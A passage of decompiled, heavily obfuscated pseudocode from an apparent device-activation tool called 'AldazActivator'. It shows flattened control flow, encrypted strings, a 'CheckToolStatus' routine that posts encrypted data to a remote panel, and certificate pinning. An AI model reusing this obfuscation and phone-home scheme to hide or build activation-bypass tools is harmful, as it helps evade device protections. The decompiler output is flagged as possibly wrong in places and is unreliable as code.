if ( v17 == 86978525 )
{
a3 = (NSURLResponse *)2250419328LL;
v6 = 0;
v5 = -1211414788;
LABEL_86:
v7 = -1692866102;
goto LABEL_87;
}
if ( v17 == 164261285 )
{
a3 = (NSURLResponse *)1568949252;
v8 = 0;
v5 = 328489857;
v9 = 1854700525;
goto LABEL_76;
}
}
}
else if ( v17 <= 833193533 )
{
if ( v17 == 478847190 )
{
*v22 = -346184616;
}
else if ( v17 == 610493164 )
{
*v22 = -7137578;
}
}
else
{
switch ( v17 )
{
case 833193534:
dword_10029F6A0 = 1;
*v22 = 86978525;
break;
case 835907429:
NSLog(
CFSTR("⬞塎ဧ䦍伣ꏮ\xB9\xDA\x2D\xBF嚮嘥瞉䟭❆듖黦幇㉩餸蹒㈮▐憕벽苙鰭南鄧亮乩嬝䌢盠蔻劜俥悡㚺"),
v18,
a3);
objc_release(v18);
*v22 = 1228469023;
break;
case 1009145308:
v15 = "localizedDescription";
*v22 = -32081634;
break;
}
}
}
else if ( v17 > 1584461861 )
{
if ( v17 <= 1854700524 )
{
if ( v17 == 1584461862 )
{
v10 = !v21;
v5 = 1009145308;
v11 = 3715156;
goto LABEL_101;
}
if ( v17 == 1837777434 )
*v22 = -2078377388;
}
else
{
switch ( v17 )
{
case 1854700525:
*v22 = 328489857;
break;
case 1939041416:
v5 = 1228469023;
goto LABEL_103;
case 1960116575:
a3 = (NSURLResponse *)2823880736LL;
v6 = 1;
aE_30[34] = v19;
aE_30[35] = 58;
aE_30[36] = 32;
aE_30[37] = 37;
aE_30[38] = 64;
aE_30[39] = 0;
v5 = 1185190745;
v7 = -2022971828;
goto LABEL_87;
}
}
}
else if ( v17 <= 1228469022 )
{
if ( v17 == 1161279511 )
{
v14 = HikariFunctionWrapper_19319(a4, v15);
objc_retainAutoreleasedReturnValue(v14);
*v22 = -1059333347;
}
else if ( v17 == 1185190745 )
{
*v22 = 833193534;
}
}
else
{
switch ( v17 )
{
case 1228469023:
NSLog(
CFSTR("⬞塎ဧ䦍伣ꏮ\xB9\xDA\x2D\xBF嚮嘥瞉䟭❆듖黦幇㉩餸蹒㈮▐憕벽苙鰭南鄧亮乩嬝䌢盠蔻劜俥悡㚺"),
v18,
a3);
objc_release(v18);
v10 = 0;
v5 = 835907429;
v11 = 1532027744;
goto LABEL_101;
case 1363519651:
a3 = (NSURLResponse *)1209209760;
v5 = -82618756;
goto LABEL_103;
case 1532027744:
*v22 = 3715156;
break;
}
}
}
if ( v17 <= -603018412 )
break;
if ( v17 > -59210255 )
{
if ( v17 <= -7137579 )
{
if ( v17 == -59210254 )
{
a3 = (NSURLResponse *)2560606088LL;
v6 = 1;
v5 = -346184616;
LABEL_84:
v7 = 478847190;
LABEL_87:
if ( !v6 )
v5 = v7;
goto LABEL_103;
}
if ( v17 == -32081634 )
{
a3 = (NSURLResponse *)2228336;
v10 = 0;
v5 = 1161279511;
v11 = -1059333347;
goto LABEL_101;
}
}
else
{
switch ( v17 )
{
case -7137578:
a3 = (NSURLResponse *)872943812;
v10 = 0;
v5 = 610493164;
v11 = -872535850;
goto LABEL_101;
case 3715156:
a3 = (NSURLResponse *)244120095;
v8 = 1;
v5 = 610493164;
v9 = -7137578;
goto LABEL_76;
case 79744580:
*v22 = -603018411;
break;
}
}
}
else if ( v17 <= -293152919 )
{
if ( v17 == -603018411 )
{
a3 = (NSURLResponse *)217619011;
v6 = 1;
v5 = -2009668416;
v7 = -603018411;
goto LABEL_87;
}
if ( v17 == -346184616 )
{
v20 = v16 == 0;
v6 = 1;
v5 = 1837777434;
goto LABEL_84;
}
}
else
{
switch ( v17 )
{
case -293152918:
aE_30[13] = 69;
aE_30[14] = 114;
aE_30[15] = 114;
aE_30[16] = 111;
aE_30[17] = 114;
aE_30[18] = 32;
aE_30[19] = 97;
aE_30[20] = 108;
aE_30[21] = 32;
aE_30[22] = 101;
aE_30[23] = 110;
aE_30[24] = 118;
aE_30[25] = 105;
aE_30[26] = 97;
aE_30[27] = 114;
aE_30[28] = 32;
aE_30[29] = 97;
aE_30[30] = 108;
aE_30[31] = 101;
a3 = (NSURLResponse *)15263;
aE_30[32] = 114;
aE_30[33] = 116;
v19 = 97;
*v22 = 302356483;
break;
case -219488805:
aE_30[0] = 91;
aE_30[1] = 83;
aE_30[2] = 69;
aE_30[3] = 67;
a3 = (NSURLResponse *)25806;
aE_30[4] = 85;
aE_30[5] = 82;
aE_30[6] = 73;
aE_30[7] = 84;
aE_30[8] = 89;
aE_30[9] = 93;
aE_30[10] = 32;
aE_30[11] = 10060;
aE_30[12] = 32;
*v22 = -82618756;
break;
case -82618756:
aE_30[0] = 91;
aE_30[1] = 83;
aE_30[2] = 69;
aE_30[3] = 67;
aE_30[4] = 85;
aE_30[5] = 82;
aE_30[6] = 73;
aE_30[7] = 84;
a3 = (NSURLResponse *)93;
aE_30[8] = 89;
aE_30[9] = 93;
aE_30[10] = 32;
aE_30[11] = 10060;
aE_30[12] = 32;
v5 = -979196082;
goto LABEL_103;
}
}
}
if ( v17 > -1211414789 )
break;
if ( v17 <= -2009668417 )
{
if ( v17 == -2078377388 )
{
v5 = -603018411;
goto LABEL_103;
}
if ( v17 == -2022971828 )
{
aE_30[34] = v19;
aE_30[35] = 58;
aE_30[36] = 32;
aE_30[37] = 37;
a3 = (NSURLResponse *)18662;
aE_30[38] = 64;
aE_30[39] = 0;
*v22 = 1960116575;
}
}
else
{
switch ( v17 )
{
case -2009668416:
v10 = !v20;
v5 = 833193534;
v11 = 1363519651;
LABEL_101:
if ( !v10 )
v5 = v11;
LABEL_103:
*v22 = v5;
break;
case -1692866102:
a3 = (NSURLResponse *)112214293;
v21 = a4 == 0;
v6 = 1;
v5 = -969104391;
goto LABEL_86;
case -1446876854:
*v22 = 1939041416;
break;
}
}
}
if ( v17 > -979196083 )
break;
if ( v17 == -1211414788 )
{
*v22 = -1692866102;
}
else if ( v17 == -1059333347 )
{
v12 = HikariFunctionWrapper_19317(a4, v15);
v13 = objc_retainAutoreleasedReturnValue(v12);
v10 = 0;
v18 = v13;
v5 = 1161279511;
v11 = -1446876854;
goto LABEL_101;
}
}
if ( v17 != -979196082 )
break;
*v22 = -293152918;
}
if ( v17 != -969104391 )
break;
*v22 = 164261285;
}
}
while ( v17 != -872535850 );
}
// 10021178A: variable 'v15' is possibly undefined
// 100211A34: variable 'a3' is possibly undefined
// 100290320: using guessed type __int16 aE_30[40];
// 10029F6A0: using guessed type int dword_10029F6A0;
//----- (000000010021200C) ----------------------------------------------------
// bad sp value at call has been detected, the output may be wrong!
__int64 CheckToolStatus()
{
__int64 *v0; // rbx
__int64 *v1; // r13
__int64 *v2; // r14
NSBundle *v3; // rax
NSBundle *v4; // r12
NSString *v5; // rax
id v6; // rax
id v7; // r12
NSDictionary *v8; // rax
NSDictionary *v9; // r13
id v10; // rax
void *v11; // r12
__int64 v12; // r14
id v13; // rax
id v14; // r14
NSURL *v15; // rax
id v16; // rax
id v17; // rax
id v18; // r14
dispatch_semaphore_t v19; // r15
NSURLSessionConfiguration *v20; // rax
id v21; // rax
id v22; // r12
NSURLSession *v23; // rax
_QWORD *v24; // r14
id v25; // rax
id v26; // r15
_QWORD *v27; // r13
id v28; // r15
id v29; // rax
id v30; // r12
void *v31; // r14
void *v32; // r12
id v33; // r13
__int64 v35; // [rsp+0h] [rbp-A0h] BYREF
void *v36; // [rsp+8h] [rbp-98h]
NSDictionary *v37; // [rsp+10h] [rbp-90h]
id v38; // [rsp+18h] [rbp-88h]
id v39; // [rsp+20h] [rbp-80h]
id v40; // [rsp+28h] [rbp-78h]
id v41; // [rsp+30h] [rbp-70h]
id v42; // [rsp+38h] [rbp-68h]
id v43; // [rsp+40h] [rbp-60h]
id v44; // [rsp+48h] [rbp-58h] BYREF
id v45; // [rsp+50h] [rbp-50h]
dispatch_block_t block; // [rsp+58h] [rbp-48h]
id v47; // [rsp+60h] [rbp-40h]
id v48; // [rsp+68h] [rbp-38h]
__int64 v49; // [rsp+70h] [rbp-30h]
v49 = -1;
if ( !dword_10029F6A4 )
{
asc_10028471E[0] = 80;
asc_10028471E[1] = 79;
asc_10028471E[2] = 83;
asc_10028471E[3] = 84;
asc_10028471E[4] = 0;
asc_100276EDF[0] = 118;
asc_100276EDF[1] = 101;
asc_100276EDF[2] = 114;
asc_100276EDF[3] = 115;
asc_100276EDF[4] = 105;
asc_100276EDF[5] = 111;
asc_100276EDF[6] = 110;
asc_100276EDF[7] = 0;
strcpy(aN_24, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
asc_100290426[0] = 105;
asc_100290426[1] = 110;
asc_100290426[2] = 105;
asc_100290426[3] = 116;
asc_100290426[4] = 0;
asc_10028B33C[0] = 51;
asc_10028B33C[1] = 46;
asc_10028B33C[2] = 50;
asc_10028B33C[3] = 46;
asc_10028B33C[4] = 49;
asc_10028B33C[5] = 0;
strcpy(asc_100290416, "text/plain");
strcpy(aC_15, "Content-Type");
strcpy(aGo, "https://ialdaz-activator.com/panel/version");
strcpy(asc_1002845FB, "User-Agent");
}
dword_10029F6A4 = 1;
v0 = &v35 - 4;
v1 = &v35 - 2;
v2 = &v35 - 2;
block = &v35 - 6;
*v0 = 0;
v0[1] = (__int64)v0;
v0[2] = 0x2020000000LL;
v0[3] = 3;
v47 = &v44;
v3 = +[NSBundle mainBundle](&OBJC_CLASS___NSBundle, "mainBundle", &v44, 0x2020000000LL);
v4 = objc_retainAutoreleasedReturnValue(v3);
v5 = -[NSBundle executablePath](v4, "executablePath", 2975326432LL);
v40 = objc_retainAutoreleasedReturnValue(v5);
objc_release(v4);
*v2 = (__int64)CFSTR("\xB5\xDE\x1Cc\x1C");
v6 = HikariFunctionWrapper_19321((__int64)v40);
v7 = objc_retainAutoreleasedReturnValue(v6);
*v1 = (__int64)v7;
v2[1] = (__int64)CFSTR("\x9B\xE6\x20\x6C9\x14\x857");
v1[1] = (__int64)CFSTR("\x9F\n#\xAFHt");
v8 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
&v35 - 2,
&v35 - 2,
2);
v9 = objc_retainAutoreleasedReturnValue(v8);
objc_release(v7);
*(&v35 - 2) = 0;
v10 = HikariFunctionWrapper_19323(&OBJC_CLASS___NSJSONSerialization, "dataWithJSONObject:options:error:");
v41 = objc_retainAutoreleasedReturnValue(v10);
v11 = (void *)*(&v35 - 2);
objc_retain(v11);
v12 = 3;
if ( !v11 )
{
v36 = 0;
v13 = encryptMyData(v41);
v14 = objc_retainAutoreleasedReturnValue(v13);
v37 = v9;
v43 = v14;
if ( v14 )
{
v15 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("Go\xF7\x44\x5F\x97\"\x03](î\x7F\xF6\x36\xA1\xDF\xF4\xAE\x27\x60\xEE\x7E\x63\xBC\xDC\x0D\x1B\xC8\x3875\xA8\xE3\xB0\xF6r\xDE\x1Fi\\\xB5]"));
v38 = objc_retainAutoreleasedReturnValue(v15);
v16 = HikariFunctionWrapper_19325(&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:");
v48 = objc_retainAutoreleasedReturnValue(v16);
objc_msgSend(v48, "setHTTPMethod:", CFSTR("\xB1\x0F`\xBEY"));
v17 = objc_msgSend(v43, "dataUsingEncoding:", 4);
v18 = objc_retainAutoreleasedReturnValue(v17);
objc_msgSend(v48, "setHTTPBody:", v18);
objc_release(v18);
objc_msgSend(
v48,
"setValue:forHTTPHeaderField:",
CFSTR("\x81\xF0\x65\x14\x06r*Yw"),
CFSTR("c#\xD2\x4C\x1C9vQp\x83\x88\x1A"));
HikariFunctionWrapper_19327(v48, "setValue:forHTTPHeaderField:");
v19 = dispatch_semaphore_create(0);
v20 = +[NSURLSessionConfiguration defaultSessionConfiguration](
&OBJC_CLASS___NSURLSessionConfiguration,
"defaultSessionConfiguration");
v42 = objc_retainAutoreleasedReturnValue(v20);
v21 = objc_alloc((Class)&OBJC_CLASS___NSObject);
v22 = objc_msgSend(v21, "init", 4219461613LL, 615843196);
v23 = +[NSURLSession sessionWithConfiguration:delegate:delegateQueue:](
&OBJC_CLASS___NSURLSession,
"sessionWithConfiguration:delegate:delegateQueue:",
v42,
v22,
0);
v44 = objc_retainAutoreleasedReturnValue(v23);
v45 = v19;
objc_release(v22);
v24 = block;
v25 = HikariFunctionWrapper_19329(v44, "delegate");
v26 = objc_retainAutoreleasedReturnValue(v25);
*v24 = _NSConcreteGlobalBlock;
v24[1] = 3498049536LL;
v24[2] = __CheckToolStatus_block_invoke;
v24[3] = &__block_descriptor_40_e5_v8__0ls32l8;
objc_retain(v26);
v24[4] = v26;
v39 = v26;
v27 = v47;
v28 = v45;
if ( CheckToolStatus_onceToken != -1 )
{
dispatch_once(&CheckToolStatus_onceToken, block);
v27 = v47;
v28 = v45;
}
*v27 = _NSConcreteStackBlock;
v27[1] = 3254779904LL;
v27[2] = __CheckToolStatus_block_invoke_2;
v27[3] = &__block_descriptor_48_e8_32s40r_e46_v32__0__NSData_8__NSURLResponse_16__NSError_24l;
v27[5] = v0;
objc_retain(v28);
v27[4] = v28;
v29 = objc_msgSend(v44, "dataTaskWithRequest:completionHandler:", v48, v27);
v30 = objc_retainAutoreleasedReturnValue(v29);
objc_msgSend(v30, "resume", 174438818);
v47 = v30;
dispatch_semaphore_wait((dispatch_semaphore_t)v45, 0xFFFFFFFFFFFFFFFFLL);
v31 = *(void **)(v0[1] + 24);
objc_release(v47);
v47 = v31;
v32 = (void *)v27[4];
v33 = v48;
objc_release(v32);
objc_release(*((id *)block + 4));
objc_release(v39);
objc_release(v44);
objc_release(v42);
objc_release(v45);
objc_release(v33);
objc_release(v38);
}
else
{
v47 = (id)3;
}
objc_release(v43);
v9 = v37;
v11 = v36;
v12 = (__int64)v47;
}
objc_release(v41);
objc_release(v11);
objc_release(v9);
objc_release(v40);
HikariFunctionWrapper_19331(&v35 - 4, 8);
return v12;
}
// 100214262: conditional instruction was optimized away because r15d.4==16DA97A0
// 1002148A7: conditional instruction was optimized away because r15d.4==68020018
// 100214A46: conditional instruction was optimized away because r13d.4==C0867D58
// 100213685: bad sp value at call
// 1002904D0: using guessed type __CFString cfstr_Go;
// 100290510: using guessed type __CFString stru_100290510;
// 100290550: using guessed type __CFString stru_100290550;
// 100290590: using guessed type __CFString cfstr_C_15_4;
// 1002905D0: using guessed type __CFString stru_1002905D0;
// 100290610: using guessed type __CFString stru_100290610;
// 100290650: using guessed type __CFString stru_100290650;
// 10029F6A4: using guessed type int dword_10029F6A4;
//----- (0000000100214B80) ----------------------------------------------------
__int64 __fastcall __CheckToolStatus_block_invoke(__int64 a1, __int64 a2, __int64 a3, unsigned int a4)
{
__int64 v4; // rdx
__int64 result; // rax
bool v6; // zf
int v7; // eax
int v8; // ecx
char v9; // cf
int v10; // ecx
char v11; // cf
int v12; // ecx
objc_class *v13; // rax
objc_class *v14; // rax
id v15; // [rsp+10h] [rbp-50h]
const char *v16; // [rsp+18h] [rbp-48h]
int v17; // [rsp+24h] [rbp-3Ch]
int v18; // [rsp+28h] [rbp-38h] BYREF
bool v19; // [rsp+2Eh] [rbp-32h]
char v20; // [rsp+2Fh] [rbp-31h]
int *v21; // [rsp+30h] [rbp-30h]
v4 = 290725089;
v18 = 1591393535;
v21 = &v18;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v18;
if ( v18 > 784157348 )
break;
if ( v18 > -505675776 )
{
if ( v18 <= -124057394 )
{
if ( v18 > -317190390 )
{
if ( v18 == -317190389 )
{
*v21 = -124057393;
}
else if ( v18 == -315254826 )
{
v4 = 425468980;
v11 = 1;
v7 = -317190389;
v12 = -124057393;
goto LABEL_93;
}
}
else
{
if ( v18 == -505675775 )
{
v4 = 55368275;
v7 = 983844180;
goto LABEL_95;
}
if ( v18 == -471693795 )
{
v6 = 0;
v7 = 72486415;
v8 = -1048690366;
goto LABEL_84;
}
}
}
else if ( v18 <= 34445423 )
{
if ( v18 == -124057393 )
{
v19 = v17 == 0;
v11 = 0;
v7 = -1288683832;
v12 = -317190389;
goto LABEL_93;
}
if ( v18 == -67364919 )
*v21 = -471693795;
}
else
{
switch ( v18 )
{
case 34445424:
v11 = 1;
dword_10029F6A8 = 1;
v7 = -551374530;
v12 = 911866455;
LABEL_93:
if ( v11 )
v7 = v12;
goto LABEL_95;
case 72486415:
v14 = (objc_class *)objc_msgSend(v15, v16, v4);
class_addMethod(
v14,
"URLSession:didReceiveChallenge:completionHandler:",
(IMP)PinningChallengeHandler,
&byte_10028F767);
*v21 = -1048690366;
break;
case 283603260:
v4 = 19574656;
v6 = 0;
v7 = 1643117946;
v8 = 1125824863;
goto LABEL_84;
}
}
}
else if ( v18 <= -1048690367 )
{
if ( v18 > -1288683833 )
{
if ( v18 == -1288683832 )
{
*v21 = -505675775;
}
else if ( v18 == -1233608852 )
{
*v21 = 983844180;
}
}
else if ( v18 == -1750001086 )
{
byte_10028F76A = 64;
LOBYTE(result) = 4;
a4 = result;
byte_10028F76B = 64;
byte_10028F76C = 63;
byte_10028F76D = 0;
*v21 = 1770953444;
}
else if ( v18 == -1309282175 )
{
*v21 = -315254826;
}
}
else if ( v18 <= -891631068 )
{
if ( v18 == -1048690366 )
{
v13 = (objc_class *)objc_msgSend(v15, v16, v4);
HikariFunctionWrapper_19337(
v13,
"URLSession:didReceiveChallenge:completionHandler:",
(id (*)(id, SEL, ...))PinningChallengeHandler,
&byte_10028F767);
v11 = 1;
v7 = 72486415;
v12 = 1902718357;
goto LABEL_93;
}
if ( v18 == -928440169 )
{
v7 = 34445424;
goto LABEL_95;
}
}
else
{
switch ( v18 )
{
case -891631067:
v7 = 2132287636;
goto LABEL_95;
case -551374530:
dword_10029F6A8 = 1;
*v21 = 34445424;
break;
case -517821435:
v6 = !v19;
v7 = -928440169;
v8 = 283603260;
goto LABEL_84;
}
}
}
if ( v18 > 1591393534 )
break;
if ( v18 <= 983844179 )
{
if ( v18 > 911866454 )
{
if ( v18 == 911866455 )
{
*v21 = -891631067;
}
else if ( v18 == 983176035 )
{
v4 = 3031623516LL;
v9 = 1;
v7 = 1770953444;
v10 = -1750001086;
goto LABEL_88;
}
}
else if ( v18 == 784157349 )
{
*v21 = -928440169;
}
else if ( v18 == 847435339 )
{
v4 = 323117619;
v9 = 1;
v17 = dword_10029F6A8;
v7 = -1309282175;
v10 = 2105907038;
goto LABEL_88;
}
}
else if ( v18 <= 1098697771 )
{
if ( v18 == 983844180 )
{
v4 = 3295281280LL;
v11 = 1;
v7 = 983844180;
v12 = -517821435;
goto LABEL_93;
}
if ( v18 == 1022484988 )
*v21 = 983176035;
}
else
{
switch ( v18 )
{
case 1098697772:
*v21 = 1277829644;
break;
case 1125824863:
v4 = 525406784;
v9 = 0;
byte_10028F767 = 118;
v20 = 64;
v7 = 1643117946;
v10 = 1098697772;
LABEL_88:
if ( !v9 )
v7 = v10;
LABEL_95:
a4 = (unsigned int)v21;
*v21 = v7;
break;
case 1277829644:
LABEL_62:
*v21 = 1952771122;
break;
}
}
}
if ( v18 > 1902718356 )
break;
if ( v18 > 1770953443 )
{
if ( v18 == 1770953444 )
{
LOBYTE(v4) = 63;
v9 = 1;
byte_10028F76A = 64;
byte_10028F76B = 64;
byte_10028F76C = 63;
byte_10028F76D = 0;
v7 = 784157349;
v10 = 1770953444;
goto LABEL_88;
}
if ( v18 == 1851396703 )
{
byte_10028F768 = v20;
byte_10028F769 = 58;
goto LABEL_62;
}
}
else
{
if ( v18 == 1591393535 )
{
v9 = 0;
v7 = 2105907038;
v10 = 847435339;
goto LABEL_88;
}
if ( v18 == 1643117946 )
{
LOBYTE(result) = 6;
a4 = result;
byte_10028F767 = 118;
*v21 = 1125824863;
}
}
}
if ( v18 <= 2105907037 )
break;
if ( v18 == 2105907038 )
{
*v21 = 847435339;
}
else if ( v18 == 2132287636 )
{
v4 = 1556319492;
v15 = *(id *)(a1 + 32);
v16 = "class";
v7 = -67364919;
goto LABEL_95;
}
}
if ( v18 == 1952771122 )
{
LOBYTE(a4) = 63;
v4 = a4;
LOBYTE(v4) = 10;
v6 = 0;
byte_10028F768 = v20;
byte_10028F769 = 58;
v7 = 1851396703;
v8 = 1022484988;
LABEL_84:
if ( !v6 )
v7 = v8;
goto LABEL_95;
}
if ( v18 != 2103165085 )
break;
*v21 = 2132287636;
}
}
while ( v18 != 1902718357 );
return result;
}
// 1002151AA: variable 'v15' is possibly undefined
// 1002151AA: variable 'v16' is possibly undefined
// 1002151AA: variable 'v4' is possibly undefined
// 100215216: variable 'v17' is possibly undefined
// 1002153BC: variable 'a4' is possibly undefined
// 10028F768: using guessed type char byte_10028F768;
// 10028F769: using guessed type char byte_10028F769;
// 10028F76A: using guessed type char byte_10028F76A;
// 10028F76B: using guessed type char byte_10028F76B;
// 10028F76C: using guessed type char byte_10028F76C;
// 10028F76D: using guessed type char byte_10028F76D;
// 10029F6A8: using guessed type int dword_10029F6A8;
//----- (00000001002154FA) ----------------------------------------------------
__int64 __fastcall __CheckToolStatus_block_invoke_2(__int64 a1, void *a2, __int64 a3, __int64 a4)
{
__int64 result; // rax
int v5; // eax
bool v6; // zf
int v7; // ecx
char v8; // cf
int v9; // ecx
bool v10; // cf
int v11; // ecx
id v12; // rax
id v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // rax
id v24; // rax
unsigned __int8 v25; // r12
unsigned __int8 v26; // al
id v27; // rax
__int64 v28; // [rsp+0h] [rbp-130h] BYREF
__int64 *v29; // [rsp+8h] [rbp-128h]
__int64 v30; // [rsp+10h] [rbp-120h]
__int64 v31; // [rsp+18h] [rbp-118h]
id v32; // [rsp+20h] [rbp-110h]
void *v33; // [rsp+28h] [rbp-108h]
const char *v34; // [rsp+30h] [rbp-100h]
__int64 *v35; // [rsp+38h] [rbp-F8h]
__int64 v36; // [rsp+40h] [rbp-F0h]
__int64 v37; // [rsp+48h] [rbp-E8h]
__int64 v38; // [rsp+50h] [rbp-E0h]
void *v39; // [rsp+58h] [rbp-D8h]
const char *v40; // [rsp+60h] [rbp-D0h]
__int64 v41; // [rsp+68h] [rbp-C8h]
dispatch_semaphore_t *v42; // [rsp+70h] [rbp-C0h]
SEL v43; // [rsp+78h] [rbp-B8h]
__int64 v44; // [rsp+80h] [rbp-B0h]
__int64 v45; // [rsp+88h] [rbp-A8h]
dispatch_semaphore_t *v46; // [rsp+90h] [rbp-A0h]
unsigned int v47; // [rsp+9Ch] [rbp-94h]
int v48; // [rsp+A0h] [rbp-90h]
int v49; // [rsp+A4h] [rbp-8Ch] BYREF
id v50; // [rsp+A8h] [rbp-88h]
id v51; // [rsp+B0h] [rbp-80h]
SEL v52; // [rsp+B8h] [rbp-78h]
id v53; // [rsp+C0h] [rbp-70h]
_QWORD *v54; // [rsp+C8h] [rbp-68h]
id v55; // [rsp+D0h] [rbp-60h]
id *v56; // [rsp+D8h] [rbp-58h]
id v57; // [rsp+E0h] [rbp-50h]
id v58; // [rsp+E8h] [rbp-48h]
bool v59; // [rsp+F5h] [rbp-3Bh]
char v60; // [rsp+F6h] [rbp-3Ah]
bool v61; // [rsp+F7h] [rbp-39h]
bool v62; // [rsp+F8h] [rbp-38h]
unsigned __int8 v63; // [rsp+F9h] [rbp-37h]
bool v64; // [rsp+FAh] [rbp-36h]
bool v65; // [rsp+FBh] [rbp-35h]
unsigned __int8 v66; // [rsp+FCh] [rbp-34h]
bool v67; // [rsp+FDh] [rbp-33h]
bool v68; // [rsp+FEh] [rbp-32h]
char v69; // [rsp+FFh] [rbp-31h]
int *v70; // [rsp+100h] [rbp-30h]
v37 = a4;
v47 = -1950487939;
v49 = -1812944053;
v70 = &v49;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v49;
if ( v49 <= 87992027 )
break;
if ( v49 > 1122315976 )
{
if ( v49 <= 1504567125 )
{
if ( v49 <= 1256786863 )
{
if ( v49 <= 1174548381 )
{
if ( v49 <= 1130983283 )
{
if ( v49 == 1122315977 )
{
*v54 = 2;
*v70 = -897907382;
}
else if ( v49 == 1129915150 )
{
*v70 = 399733648;
}
}
else
{
switch ( v49 )
{
case 1130983284:
*v70 = 1678730185;
break;
case 1151529587:
v10 = 1;
v5 = 2140356205;
v11 = -1633059854;
goto LABEL_441;
case 1151995641:
*v70 = 858664971;
break;
}
}
}
else if ( v49 > 1227093317 )
{
switch ( v49 )
{
case 1227093318:
v8 = 0;
v5 = -579371401;
goto LABEL_356;
case 1227103331:
*v70 = 609962421;
break;
case 1243030237:
*v70 = -270546792;
break;
}
}
else
{
switch ( v49 )
{
case 1174548382:
v10 = 1;
*v54 = 3;
v5 = 1174548382;
v11 = 372183277;
goto LABEL_441;
case 1207842571:
LABEL_318:
*v70 = 135785520;
break;
case 1210443161:
asc_1002906BF[0] = 115;
asc_1002906BF[1] = 116;
asc_1002906BF[2] = 97;
asc_1002906BF[3] = 116;
asc_1002906BF[4] = 117;
asc_1002906BF[5] = 115;
asc_1002906BF[6] = 0;
aKa[0] = 111;
aKa[1] = 107;
aKa[2] = 0;
*v70 = -986639260;
break;
}
}
}
else if ( v49 > 1414092298 )
{
if ( v49 > 1467245026 )
{
switch ( v49 )
{
case 1467245027:
v8 = 0;
v30 = a1 + 40;
v5 = 1467245027;
v9 = -2055996846;
goto LABEL_446;
case 1468971547:
objc_release(a2);
*v70 = -1737974622;
break;
case 1484339691:
v8 = 1;
v5 = -275733218;
v9 = 1484339691;
goto LABEL_446;
}
}
else
{
switch ( v49 )
{
case 1414092299:
*v70 = 1504567126;
break;
case 1451819950:
v8 = 1;
v5 = 769002391;
v9 = -1273676589;
goto LABEL_446;
case 1465633504:
*v70 = -1966580597;
break;
}
}
}
else if ( v49 > 1342173958 )
{
switch ( v49 )
{
case 1342173959:
v10 = 1;
v5 = -1376190755;
v11 = -502076232;
goto LABEL_441;
case 1377307854:
v5 = -270546792;
goto LABEL_451;
case 1384757043:
objc_msgSend(v57, v52, CFSTR("\x1C\x82p\xB0W\xF3\x1C\xBE\xE3|0џ"));
*v70 = 1303921994;
break;
}
}
else
{
switch ( v49 )
{
case 1256786864:
*v70 = -67342750;
break;
case 1289364685:
v10 = 1;
v5 = 1468971547;
v11 = -1737974622;
LABEL_441:
if ( v10 )
v5 = v11;
goto LABEL_451;
case 1303921994:
v68 = (unsigned __int8)HikariFunctionWrapper_19359(v57, v52) == 0;
v8 = 1;
v35 = (__int64 *)(a1 + 40);
v5 = 1003916466;
v9 = 1384757043;
goto LABEL_446;
}
}
}
else if ( v49 > 1760221140 )
{
if ( v49 > 1910194523 )
{
if ( v49 > 1977605248 )
{
switch ( v49 )
{
case 1977605249:
*v70 = -742611926;
break;
case 2140356205:
aWq[0] = v69 ^ 0xB9;
aWq[1] = 110;
*v70 = -1633059854;
break;
case 2143464365:
v6 = 0;
v5 = 908860522;
v7 = -1207852690;
goto LABEL_434;
}
}
else
{
switch ( v49 )
{
case 1910194524:
*v70 = -1257525221;
break;
case 1917327289:
v8 = 0;
v5 = 1465633504;
v9 = -1966580597;
goto LABEL_446;
case 1971423674:
v6 = 0;
v5 = -631624588;
v7 = 140971572;
goto LABEL_434;
}
}
}
else if ( v49 > 1830131647 )
{
switch ( v49 )
{
case 1830131648:
*v70 = -31809234;
break;
case 1897905494:
v10 = 1;
v5 = 1761601757;
v11 = -277218773;
goto LABEL_441;
case 1902694259:
v16 = HikariFunctionWrapper_19343(v50);
v55 = objc_retainAutoreleasedReturnValue(v16);
*v70 = -1243332474;
break;
}
}
else
{
switch ( v49 )
{
case 1760221141:
*v70 = -2001765594;
break;
case 1761601757:
*v70 = -277218773;
break;
case 1765367423:
v10 = 1;
v5 = 1384757043;
v11 = 1303921994;
goto LABEL_441;
}
}
}
else if ( v49 > 1633681784 )
{
if ( v49 > 1731597379 )
{
switch ( v49 )
{
case 1731597380:
goto LABEL_318;
case 1733656219:
v6 = !v68;
v5 = -896355455;
v7 = -1864970112;
goto LABEL_434;
case 1742509680:
dispatch_semaphore_signal(*v42);
*v70 = -255390847;
break;
}
}
else
{
switch ( v49 )
{
case 1633681785:
*v70 = -1226688814;
break;
case 1678730185:
v10 = 1;
v5 = 1553882738;
v11 = -1214023138;
goto LABEL_441;
case 1683498434:
*v70 = 1484339691;
break;
}
}
}
else if ( v49 > 1564688276 )
{
switch ( v49 )
{
case 1564688277:
*v70 = 1377307854;
break;
case 1607333397:
*v70 = 1902694259;
break;
case 1624682844:
*v70 = -1468374117;
break;
}
}
else
{
switch ( v49 )
{
case 1504567126:
v5 = -461731956;
goto LABEL_451;
case 1537239218:
*v70 = 1289364685;
break;
case 1553882738:
objc_release(v50);
*v70 = -1214023138;
break;
}
}
}
else if ( v49 <= 652935996 )
{
if ( v49 <= 390342235 )
{
if ( v49 <= 169456680 )
{
if ( v49 <= 135785519 )
{
if ( v49 == 87992028 )
{
v6 = !v64;
v5 = -1640170098;
goto LABEL_416;
}
if ( v49 == 121182866 )
*v70 = 1227093318;
}
else
{
switch ( v49 )
{
case 135785520:
v10 = 1;
v5 = 1256786864;
v11 = -67342750;
goto LABEL_441;
case 140971572:
v45 = *(_QWORD *)(*(_QWORD *)(a1 + 40) + 8LL);
v5 = 1633681785;
goto LABEL_451;
case 143786856:
v48 = dword_10029F6AC;
*v70 = 868772555;
break;
}
}
}
else if ( v49 > 367614522 )
{
switch ( v49 )
{
case 367614523:
dword_10029F6AC = 1;
v56 = (id *)(&v28 - 2);
objc_retain(a2);
v6 = 0;
